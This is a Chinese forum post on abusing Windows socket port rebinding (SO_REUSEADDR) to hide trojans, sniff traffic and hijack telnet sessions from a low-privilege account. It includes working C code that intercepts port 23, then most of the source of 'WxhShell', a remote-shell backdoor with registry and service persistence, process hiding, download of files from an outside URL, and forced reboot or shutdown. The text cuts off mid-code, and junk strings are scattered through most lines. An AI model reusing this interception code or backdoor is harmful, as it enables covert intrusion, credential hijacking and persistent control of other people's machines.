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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: VelX+|w  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P<xCg  
( v=Z$#l  
  saddr.sin_family = AF_INET; |Tl2r,(+R  
6x_D0j%^]  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); !Ie={BpzbZ  
SC0_ h(zb,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); xb(y15R\I  
iJ`v3PP  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 llBW*4'  
24_/JDz  
  这意味着什么?意味着可以进行如下的攻击: >R6>*|~S  
_ <pO<S  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +@C|u'  
 A,|lDsvM  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ->YF</I  
a: OuDjFp  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 h IUO=f  
[E%Ov0OC  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &uTK@ G+  
&f>1/"lnd\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _/[(&}M  
w8AHs/'r  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 F1zsGlObu}  
e~BUAz  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8 =<&9TmE  
Y)v_O_`  
  #include wd~!j&`a  
  #include '^6x-aeq[D  
  #include k<NEauQ  
  #include    z2A1h!Me  
  DWORD WINAPI ClientThread(LPVOID lpParam);   1:iT#~n  
  int main() ?`D/#P  
  { XFN4m #  
  WORD wVersionRequested; };;6706a  
  DWORD ret; 0j|JyS:}G  
  WSADATA wsaData; @460r  
  BOOL val; iYxpIqWw  
  SOCKADDR_IN saddr; 5PCKBevV  
  SOCKADDR_IN scaddr; +q3E>K9a  
  int err; _"%-=^_  
  SOCKET s; `~3y[j]kO  
  SOCKET sc; B mxBbg  
  int caddsize; A Pu cA  
  HANDLE mt; yY42+%P  
  DWORD tid;   ZiOL7#QWX  
  wVersionRequested = MAKEWORD( 2, 2 ); b6UD!tXp  
  err = WSAStartup( wVersionRequested, &wsaData ); jPNm $Y1  
  if ( err != 0 ) { 1 9C=' TMS  
  printf("error!WSAStartup failed!\n"); VM[Vh k[  
  return -1; %CiZ>`5n#  
  } rYMHc@a9(  
  saddr.sin_family = AF_INET; +gOv5Eno-  
   :CAbGs:56  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 f"G?#dW/1  
aC2\C=ru_  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); N-Nq*  
  saddr.sin_port = htons(23); V ZArdXTP  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f'<MDLl  
  { VBK9te,A  
  printf("error!socket failed!\n"); xT$9M"  
  return -1; ^8yhx-mgb  
  } ;4 ON  
  val = TRUE; gNG_,+=!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ]RJcY1  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) r|tTDKGQ  
  { XZFM|=%X  
  printf("error!setsockopt failed!\n"); _7"G&nZ0  
  return -1; 2U;ImC1g  
  } S @'fmjA'  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; eO:wx.PW  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 IZkQmA=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^/kn#1H7&  
z!GLug*j`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \L: ;~L/  
  { ?xuhN G@  
  ret=GetLastError(); J,k|_JO  
  printf("error!bind failed!\n"); }XiV$[xHd  
  return -1; .UuCTH;6`  
  } u/BCl!`  
  listen(s,2); 2& l~8,  
  while(1) hs"=>(P)  
  { "NamP\hj  
  caddsize = sizeof(scaddr); hkq[xgX  
  //接受连接请求 X_eh+>D  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); =i/7&gC  
  if(sc!=INVALID_SOCKET) }t[?g)"M#-  
  { Y&Sk/8  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); VY5/C;0^h  
  if(mt==NULL) KPOr8=Rc  
  { p=65L  
  printf("Thread Creat Failed!\n");  !Z'x h +  
  break; .*s1d)\:  
  } dt(#|8i%  
  } M 8BN'% S  
  CloseHandle(mt); Ok=RhoZZ  
  } iwl\&uNQU  
  closesocket(s); [y}0X^9,E  
  WSACleanup(); ]HK|xO(  
  return 0; zMkjdjb  
  }   l25E!E-'b  
  DWORD WINAPI ClientThread(LPVOID lpParam) L+&eY?A  
  { OXs-gC{b  
  SOCKET ss = (SOCKET)lpParam; Xk_xTzJ  
  SOCKET sc; <d GGH  
  unsigned char buf[4096]; XJ|CC.]1u  
  SOCKADDR_IN saddr; jQp7TdvLE$  
  long num; =~i~SG/f  
  DWORD val; _^<HlfOK  
  DWORD ret; pk*cc h#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 R)3P"sGuN  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   rVx%"_'*-  
  saddr.sin_family = AF_INET; #mNM5(o  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); i%8I (F  
  saddr.sin_port = htons(23); w>:~Ev]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]e'Ol$3U9=  
  { "?Eh_Dw  
  printf("error!socket failed!\n"); s\6kXR  
  return -1; .&AS-">Z  
  } ~L G).  
  val = 100; 8]N  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q89#Ftkt  
  { ztNm,1pnQ  
  ret = GetLastError(); `43`*=  
  return -1;  Sxrbhnx  
  } 4,!S?:7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G H N  
  { meHAa`  
  ret = GetLastError(); ]E1aIt  
  return -1; Qo !/]\  
  } CF`tNA3fxm  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ik@g;>pQD  
  { MVW2 %6  
  printf("error!socket connect failed!\n"); 7T]}<aK<c[  
  closesocket(sc); dsKEWZ =  
  closesocket(ss); 3McBTa!  
  return -1; \>8"r,hG|  
  } +1Ha,O k  
  while(1) li4rK <O  
  { Ng?n}$g*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 EROf%oaz=  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 T [ `t?,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Q7X6OFl?  
  num = recv(ss,buf,4096,0); ? 8g[0/  
  if(num>0) T#.5F7$u  
  send(sc,buf,num,0); \$o!M1j  
  else if(num==0) uFM]4v3  
  break; uUUj?%  
  num = recv(sc,buf,4096,0); k#8,:B2  
  if(num>0) pm+_s]s,  
  send(ss,buf,num,0); 6% @@~"  
  else if(num==0) }+K SZ,  
  break; n{dl- P  
  } fLj#+h-!  
  closesocket(ss); t{\FV@R  
  closesocket(sc); TbqED\5@9w  
  return 0 ; `B+P$K<X  
  } *~F\k):>  
c}a.  
3%?01$k  
========================================================== 'k=GSb  
A2{u("^[6  
下边附上一个代码,,WXhSHELL #>+O=YO  
b{|Ha3;w  
========================================================== Yyq:5V!  
NPws^  
#include "stdafx.h" -hav/7g  
Y_3 {\g|x  
#include <stdio.h> <KF|QE  
#include <string.h> (|_1ku3!  
#include <windows.h> )~1QOl "~  
#include <winsock2.h> &>UI{  
#include <winsvc.h> LXr yv;H  
#include <urlmon.h> b !FX]d1~k  
`A8nAgbe  
#pragma comment (lib, "Ws2_32.lib") CQf!<  
#pragma comment (lib, "urlmon.lib") cXx?MF5  
e_Na_l]  
#define MAX_USER   100 // 最大客户端连接数 EQDs bG0x  
#define BUF_SOCK   200 // sock buffer c"w}<8  
#define KEY_BUFF   255 // 输入 buffer YGP.LR7  
TAbd[:2{F  
#define REBOOT     0   // 重启 CeD O:J=,  
#define SHUTDOWN   1   // 关机 c:0nOP  
) -+u8#  
#define DEF_PORT   5000 // 监听端口 {_0m0 8  
=B9Ama   
#define REG_LEN     16   // 注册表键长度 `+_UG^aeW  
#define SVC_LEN     80   // NT服务名长度 vA rM.Bu>b  
jm1f,=R  
// 从dll定义API T/DKT1P-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A`Vz5WB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :kUZNw'Bi  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?;pw*s1Atz  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a?bSMt}  
9ALE6  
// wxhshell配置信息 $2Y'[Dto\  
struct WSCFG { ^z #'o  
  int ws_port;         // 监听端口 413,O~^  
  char ws_passstr[REG_LEN]; // 口令 V!#+Ti/w4  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3.M<ATe^  
  char ws_regname[REG_LEN]; // 注册表键名 :<ye:P1s  
  char ws_svcname[REG_LEN]; // 服务名 %|L+~=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m6J7)Wp  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7%C6hEP/*W  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Az.(tJ X"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5z8CUDt 0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" n?vw|'(}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }eUeADbC  
q<mDs$^K  
}; /t=R~BJu  
)N`a4p  
// default Wxhshell configuration _-aQ.p ?T  
struct WSCFG wscfg={DEF_PORT, +}H2|vP  
    "xuhuanlingzhe", >e y.7YG  
    1, } %_h|N  
    "Wxhshell", RIBj9kd  
    "Wxhshell", UR|UGldt_T  
            "WxhShell Service", HvSKR1wL\  
    "Wrsky Windows CmdShell Service", M{gtu'.  
    "Please Input Your Password: ", 8Fy$'Zx'  
  1, 8&g|iG  
  "http://www.wrsky.com/wxhshell.exe", T 9Jv  
  "Wxhshell.exe" >S4klW=*I  
    }; %Q:i6 ~  
LaL.C^K  
// 消息定义模块 o7"2"( =>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mJT<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?bwF$Ku  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O,(p><k$/  
char *msg_ws_ext="\n\rExit."; t_HS0rxG  
char *msg_ws_end="\n\rQuit."; .#zmX\a  
char *msg_ws_boot="\n\rReboot..."; f\O)+Vc  
char *msg_ws_poff="\n\rShutdown..."; asT:/z0  
char *msg_ws_down="\n\rSave to "; _" 0VM >  
VT1Nd  
char *msg_ws_err="\n\rErr!"; J(+I`  
char *msg_ws_ok="\n\rOK!"; x&qC~F*QR%  
Jolr"F?  
char ExeFile[MAX_PATH]; E)liuu! qI  
int nUser = 0; ^:g8mt  
HANDLE handles[MAX_USER]; tFLdBv!=:^  
int OsIsNt; |_Vi8Ly  
dn0?#=  
SERVICE_STATUS       serviceStatus; ]m} <0-0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; jj^{^,z\  
>vE1,JD)w  
// 函数声明 dIiQ^M  
int Install(void); pp{Za@j  
int Uninstall(void); smEKQHB  
int DownloadFile(char *sURL, SOCKET wsh); rW$ )f  
int Boot(int flag); u^H:z0  
void HideProc(void); JBa( O- T  
int GetOsVer(void); 1<#J[$V  
int Wxhshell(SOCKET wsl); .]+Z<5Fo  
void TalkWithClient(void *cs); !yAg!V KY  
int CmdShell(SOCKET sock); 5 _X|U*+5  
int StartFromService(void); Sc Uh -y_  
int StartWxhshell(LPSTR lpCmdLine); /Po't(-x  
icW?a9b&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k fER  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); L~N<<8?\   
]O Nf;RH  
// 数据结构和表定义 L}O_1+b  
SERVICE_TABLE_ENTRY DispatchTable[] = t}LV[bj1u  
{ g3~e#vdz  
{wscfg.ws_svcname, NTServiceMain}, rZ<n0w  
{NULL, NULL} QI*Y7R~<  
}; v;.7-9c*  
nbM[?=WS  
// 自我安装 ycAQHY~n  
int Install(void) GtcY){7  
{ VfAC&3 %M  
  char svExeFile[MAX_PATH];  9?c0cwP?  
  HKEY key; tRU+6D <w  
  strcpy(svExeFile,ExeFile); ( )1\b  
Y<%)Im6v/  
// 如果是win9x系统,修改注册表设为自启动 ;ru=z@  
if(!OsIsNt) { s5 ? 1w   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iB#xUSkS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dL%?k@R  
  RegCloseKey(key); NoS|lT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SP][xdN7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UFnz3vc  
  RegCloseKey(key); ] h3~>8<  
  return 0; ,$irJz F  
    } {@K>oaZ  
  } ((i%h^tGa;  
} +4G]!tV6  
else { 8[  
7UQFAt_r  
// 如果是NT以上系统,安装为系统服务 %00KOM:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); PveY8[i  
if (schSCManager!=0) tr8a_CV  
{ e| x1Dq  
  SC_HANDLE schService = CreateService 5Ug.J{d  
  ( x(J|6Ey7!n  
  schSCManager, 61e)SIRz9I  
  wscfg.ws_svcname, PCzC8~t  
  wscfg.ws_svcdisp, [DS.@97n  
  SERVICE_ALL_ACCESS, * SH5p  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ua^#.K  
  SERVICE_AUTO_START, B"rV-,n{  
  SERVICE_ERROR_NORMAL, L{H` t{ A  
  svExeFile, qN h:;`  
  NULL, },9Hq~TA  
  NULL, `I|$U)'  
  NULL, )xgOl*D  
  NULL, dg[ &5D1Q  
  NULL " `rkp=  
  ); +3]1AJa  
  if (schService!=0) 'p3JYRT$  
  { R5M/Ho 4  
  CloseServiceHandle(schService); $X1T!i[.X  
  CloseServiceHandle(schSCManager); 8Jnb/A}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &AR@5M u  
  strcat(svExeFile,wscfg.ws_svcname); (> O'^W\3p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P|,@En 1!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 'Fi\Qk'D@  
  RegCloseKey(key); jWHv9XtW  
  return 0; 3^m0 k E  
    } "G. L)oD  
  } 9[yW&t;#  
  CloseServiceHandle(schSCManager); $yG>=GN  
} s;!TB6b@  
} chw6_ctR>  
r8.R?5F@  
return 1; U .?N  
} MrXmX[1-  
T,z 7U2O  
// 自我卸载 cXM4+pa=%  
int Uninstall(void) mS)|i+5  
{ ^P30g2gv>  
  HKEY key; vv0A5p8H  
\09m ?;^  
if(!OsIsNt) { RsnK B /  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8T ?=_|  
  RegDeleteValue(key,wscfg.ws_regname); `[) awP  
  RegCloseKey(key); a2J01B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a3t[Tk;  
  RegDeleteValue(key,wscfg.ws_regname); P)7:G?OTx  
  RegCloseKey(key); \@")2o+  
  return 0; )anprhc  
  }  bT(}=j  
} cJ[ gCS  
} dk<) \C"  
else { W=zHD 9  
}<m'Nkz<X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #0OW0:Q  
if (schSCManager!=0) XMt)\r.  
{ 5d ?\>dA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?K5S{qG'O  
  if (schService!=0) v6uXik  
  { Jz"Yb  
  if(DeleteService(schService)!=0) { Rr>nka)U  
  CloseServiceHandle(schService); < cNJrer  
  CloseServiceHandle(schSCManager); L\)GPTo!x  
  return 0; }Xa1K;KM{  
  } PfF5@W;E;  
  CloseServiceHandle(schService); !2 YvG%t^6  
  } 3a|I| NP  
  CloseServiceHandle(schSCManager); Sfl. &A(  
} >;wh0dBe  
} o:oQF[TcFO  
L !/Zw~  
return 1; K+HP2|#6  
} )DR/Xu;b  
<L!9as]w  
// 从指定url下载文件 d@d\9*mn  
int DownloadFile(char *sURL, SOCKET wsh) _]oNbcbt(  
{ {,:yZ&(  
  HRESULT hr; = Ob-'Syg>  
char seps[]= "/"; EA# {N<  
char *token; ^l;N;5L  
char *file; \0)v5u  
char myURL[MAX_PATH]; 1}=@';cK*  
char myFILE[MAX_PATH]; <c; U 0! m  
,> %=,x  
strcpy(myURL,sURL); VD.wO%9?)  
  token=strtok(myURL,seps); ?$v*_*:2h  
  while(token!=NULL) wqx9  
  { LH_VdLds  
    file=token; Sbzx7 *X  
  token=strtok(NULL,seps); N [qNSo|  
  } zE,1zBS<  
7{W#i<W  
GetCurrentDirectory(MAX_PATH,myFILE); Ja4j7 d1:  
strcat(myFILE, "\\"); B>]4NF\)H9  
strcat(myFILE, file); M9C v00&  
  send(wsh,myFILE,strlen(myFILE),0); Fy#y.jK9v  
send(wsh,"...",3,0); !xD$U/%c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h#:_GNuF  
  if(hr==S_OK) L!| `IK  
return 0; Ef)v("'w  
else zWO!z =  
return 1; S {d]0  
(T65pP_P 7  
} !-tP\%'  
(R^qY"H 2  
// 系统电源模块 =Z /*  
int Boot(int flag) NflwmMJ  
{ E'g?44vyw  
  HANDLE hToken; . DrGr:UW  
  TOKEN_PRIVILEGES tkp;  Iz_#wO  
u{J\X$]  
  if(OsIsNt) { zg}#X6\G<_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v#^_|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S UB rFsA  
    tkp.PrivilegeCount = 1; I+GP`=\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; j|-{*t{/x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s#BSZP  
if(flag==REBOOT) { As>-9p>v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r"4&.&6  
  return 0; 8"=E 0(m  
} ?B{,%2+  
else { P*!~Z *"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9O4\DRe5c  
  return 0; |s!<vvp]  
} 16-1&WuY@  
  } !n^7&Y[N;  
  else { Y 8Dn&W  
if(flag==REBOOT) { nvInq2T 1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,R$U(,>_0  
  return 0;  =v!'?  
} f^]^IXzXw.  
else { n!?^:5=s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?910ki_  
  return 0; E0t%]?1  
} =38c}(  
} p!/ *(TT  
.VA'W16  
return 1; KN< KZM  
} tq.g4X ;_  
]|8*l]oc  
// win9x进程隐藏模块 Bk;/>gD  
void HideProc(void) H tx)MEZ  
{ 19]O;  
` st^i$A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %) /Bl.{}<  
  if ( hKernel != NULL ) 70F(`;  
  { ? 4v"y@v  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); GLiD,QX<  
    FreeLibrary(hKernel); R<Uu(-O-  
  } y.aeXlc[  
LL%s$>c65A  
return; m?y'Y`  
} lPA:ho/`:  
3J}/<&wv  
// 获取操作系统版本 zgPUW z X=  
int GetOsVer(void) }JM02R~I  
{ i*6 1i0  
  OSVERSIONINFO winfo; Tqm)-|[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jRBKy8?[C  
  GetVersionEx(&winfo); S<o\.&J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \E8CC>Jd  
  return 1; S{S.H?{F  
  else 8,&pX ga  
  return 0; 1$v1:6  
} 7hAc6M$h;  
1#V&'A  
// 客户端句柄模块 oV;I8;#\J  
int Wxhshell(SOCKET wsl) rrrn8b6  
{ Y;1J` oT  
  SOCKET wsh; 5;[h&jH  
  struct sockaddr_in client; "ZR^w5  
  DWORD myID; D.,~I^W  
115zvW  
  while(nUser<MAX_USER) :^J'_  
{ J%1 2Ey@6  
  int nSize=sizeof(client); "%dok@v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9$=o({  
  if(wsh==INVALID_SOCKET) return 1; -!-1X7v|Fp  
D {N,7kT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Stk'|-z  
if(handles[nUser]==0) zuYz"-(L  
  closesocket(wsh); x}7`Q:k=  
else X+'B*K$  
  nUser++; Lb0BmR%0  
  } =`f"8 ,5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qVr?st  
KF f6um  
  return 0; 3.V-r59  
} QvDD   
9UcSQ"D  
// 关闭 socket #TD0)C/  
void CloseIt(SOCKET wsh) Pi'[d7o  
{ Sz0CP1WB  
closesocket(wsh); o]WG8Mo-  
nUser--; X@^"@  
ExitThread(0); N6uKFQL:{  
} 4L/8Hj#g  
(E<QA  
// 客户端请求句柄 *v0}S5^ /"  
void TalkWithClient(void *cs) 89l{h8R  
{ T]y^PT<8?  
C^9bur/  
  SOCKET wsh=(SOCKET)cs; >-4kO7.V  
  char pwd[SVC_LEN]; F:cenIaBF  
  char cmd[KEY_BUFF]; (6~~e$j  
char chr[1]; $|H7fn(r  
int i,j; L<O"36R  
EM0]"s@Lf  
  while (nUser < MAX_USER) { BLcsIyq  
?vocI  
if(wscfg.ws_passstr) { )jm u*D5N  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9p%8VDF=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Pskg68W  
  //ZeroMemory(pwd,KEY_BUFF); wf/DLAC  
      i=0; hG qZB  
  while(i<SVC_LEN) { tN&_f==e  
&?#!%Ds  
  // 设置超时 Q+=D#x  
  fd_set FdRead; -:  8[  
  struct timeval TimeOut; gs9VCaIa  
  FD_ZERO(&FdRead); @1tv/W  
  FD_SET(wsh,&FdRead); }8?1)l  
  TimeOut.tv_sec=8; &J}w_BFww  
  TimeOut.tv_usec=0;  &&sCaNb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); XZ1WY(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); JB(P-Y#yyA  
sI#r3:?i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TptXH?  
  pwd=chr[0]; ="AJ &BqHd  
  if(chr[0]==0xd || chr[0]==0xa) { pb=yQ}.  
  pwd=0; 5d5q0bb  
  break; ;(~H(]D  
  } P'p5-l UK  
  i++; #hP&;HZ2>"  
    } _%6Vcy  
d ~3G EK  
  // 如果是非法用户,关闭 socket N Uq'96 {Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _do(   
} <s(<ax30  
,]8$QFf  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q(7M_2e7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )ZQML0}P;  
D$/*Z5Z)]  
while(1) { h;Se.{  
@Sd l~'"  
  ZeroMemory(cmd,KEY_BUFF); oZ"93]3-  
]Q*eCt;l"K  
      // 自动支持客户端 telnet标准   Sp^jC Xu  
  j=0; iTg7@%  
  while(j<KEY_BUFF) { ) \|Bghui  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HA::(cXL  
  cmd[j]=chr[0]; nN[gAM (  
  if(chr[0]==0xa || chr[0]==0xd) { pi?[jU[Tn  
  cmd[j]=0; ;'xd8Jf  
  break; =EdLffU[J  
  } Q2HULz{  
  j++; U8s&5~IPn  
    } bsgrg  
 p@bcf5'  
  // 下载文件 i0e aBG]I  
  if(strstr(cmd,"http://")) { 0F|DD8tHR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q2 @Ugt$  
  if(DownloadFile(cmd,wsh)) Nw|m"VLb  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4> $weu^  
  else M}*#{UV2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ss c3uo0  
  } 2$%E:J+2:$  
  else { -|&5aH]  
~lB:xVzn  
    switch(cmd[0]) { R6/vhze4L2  
  of>"qrdZ  
  // 帮助 RmcQGQ  
  case '?': { a>/cVu'kz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); GUqhm$6a  
    break; DV">9{"5']  
  } 1X$hwkof  
  // 安装 + ZxG<1&  
  case 'i': { E]26a,^L  
    if(Install()) Z2wgfP`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A3=$I&!%  
    else 35X4] t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >7^i>si  
    break; [r"`r Bw  
    } ~Q/G_^U:  
  // 卸载 r7=r~3)  
  case 'r': { g4fe(.?c,  
    if(Uninstall()) Z_Z; g]|!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T6=q[LpsKN  
    else aO]FQ#l2b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =f*Wj\  
    break; eFiUB  
    } &@anv.D  
  // 显示 wxhshell 所在路径 G,6Zy-Y9  
  case 'p': { O.g!k"nas&  
    char svExeFile[MAX_PATH]; -F+dmI,1$  
    strcpy(svExeFile,"\n\r"); 7TW</g(  
      strcat(svExeFile,ExeFile); 3(/J(8  
        send(wsh,svExeFile,strlen(svExeFile),0); k yI-nE  
    break; ddiBjp2.!  
    } 3vK,vu q  
  // 重启 V=LJ_T"z0  
  case 'b': { Z 71.*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ar:ezA  
    if(Boot(REBOOT)) d#*n@@V4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f.cQp&&]r  
    else { zjVQ\L  
    closesocket(wsh); !04zWYHo  
    ExitThread(0); CYCG5)<9  
    } ]J%p&y+6  
    break; 2/]74d8  
    } cLpkgK&a  
  // 关机 }&h* bim  
  case 'd': { 5sc`L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S`qa_yI)Ed  
